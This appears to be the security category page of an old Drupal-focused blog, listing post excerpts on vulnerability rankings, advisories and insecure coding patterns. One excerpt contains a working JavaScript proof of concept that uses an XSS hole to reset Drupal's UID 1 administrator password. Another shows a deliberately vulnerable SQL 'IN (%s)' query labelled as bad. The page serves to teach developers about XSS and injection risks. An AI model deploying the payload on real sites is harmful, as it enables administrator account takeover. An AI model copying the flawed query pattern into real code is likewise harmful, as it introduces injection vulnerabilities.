Home

Security

# 8 on the Vendors with Most Vulnerability Disclosures list

Tue, 29/07/2008 - 15:45 — Heine

Every year Drupal tends to end up in a few Top 10s, making us happy and proud. The latest Top 10 we appear in is not something to gloat over however: The Top 10 vendors with the Most Vulnerability Disclosures (source: X-Force 2008 Mid-Year Trend Statistics). We are number 8, just after Cisco (7) and just before Wordpress (9) with being responsible for 1.2% of all tracked disclosures.

Access denied - Are you sure?

Fri, 21/03/2008 - 04:23 — Heine

It is surely not my intend to discuss each and every security announcement, but the recent Live announcement (SA-2008-021) deserves to get some attention as this particular drupal_access_denied & drupal_not_found pitfall affects you too, especially when you are converting "arrow code" to use guard clauses.

Update UID 1 password via JS

Mon, 14/01/2008 - 08:08 — Heine

A simple proof of concept (without <script> tags) to reset to the Administrators' password via a cross site scripting attack (XSS). Did you think XSS was harmless?

  1. // Test for  the presence of jquery.
  2. if (typeof jQuery == 'function') {
  3.   // Fetch a correct token from user/1/edit because we will need it to
  4.   // successfully submit the user edit form later.
  5.   // TODO: Include a check to increase the chance that the current user is admin,
  6.   // which will reduce the number of access denied error messages in the log.
  7.   jQuery.get('/user/1/edit',
  8.     function (data, status) {
  9.       if (status == 'success') {
  10.         // Extract the token.
  11.         var matches = data.match(/id="edit-user-edit-form-token" value="([a-z0-9]*)"/);
  12.         var token = matches[1];
  13.         // Post the minimum amount of fields. Other fields get their default values.
  14.         var payload = {
  15.           "form_id": 'user_edit',
  16.           "form_token": token,
  17.           "pass[pass1]": 'hacked',
  18.           "pass[pass2]": 'hacked'
  19.         };
  20.         jQuery.post('/user/1/edit', payload);
  21.       }
  22.     }
  23.   );
  24. }

Input formats - the quickest way to make your site insecure

Sun, 30/12/2007 - 22:15 — Heine

In a desperate attempt to balance my karma at the end of the year, a small public service post about the most popular way to make your site insecure. This is aimed at website administrators and developers. There will be no code (promise).

Security: A $_POST from the past

Mon, 03/12/2007 - 09:16 — Heine

A code construct that surprisingly survived for a long time since the initial 4.7 release is still haunting us. I'm talking about the use of confirmation forms, limping behind the times, ever since the rise of the glorious Form API (ahem). Let's see to it that this coelocanthian code becomes extinct in the next few months.

Drupal 5.2 and 4.7.7 released

Thu, 26/07/2007 - 21:18 — Heine

It was a difficult delivery, but Drupal 5.2 and 4.7.7 have finally been released. As you can read in the release announcement, several vulnerablities were fixed.

There are two advisories:

  • SA-2007-017: Cross site request forgeries - concerns Drupal 5.x prior to 5.2.
  • SA-2007-018: Cross site scripting - concerns both Drupal 4.7.x prior to 4.7.7 and Drupal 5.x prior to 5.2.

An immediate upgrade to either 4.7.7 or 5.2 is recommended.

IN (%s); a security vulnerability waiting to happen

Mon, 18/06/2007 - 22:14 — Heine

I've written before about (ab)using %s in IN clauses such as:

  1. // BAD ($from_user is an array of numbers):
  2. db_query("SELECT t.s FROM {table} t WHERE t.field IN (%s)", implode(',', $from_user));

The problem with such a query is that you open the possibility that a code path develops where unfiltered content ends up in the variable and thus in your query.
Here's a simplified, real life example where this happened during a bugfix.

Do a quick security review when porting your module

Thu, 22/02/2007 - 07:48 — Heine

Adapted from a mail I sent to the Drupal development list.

Porting a module is an excellent opportunity to keep an eye out for security problems (evidence: DRUPAL-SA-2006-031). Here's a quick security reminder regarding input (user-supplied data). Code samples are only included to make a point, do not hold them against me.

Gain administrator privileges via an XSS vulnerability in Recipe

Tue, 20/02/2007 - 21:53 — Heine

For those with the tendency to downplay cross site scripting (XSS) vulnerabilities, a small videocast on how a vulnerability in the contributed module Recipe can get an attacker administrator access to a Drupal site. The vulnerability was fixed with DRUPAL-SA-2006-014 a long time ago, so I feel it's safe to publish the video now.

» Videocast.

Syndicate content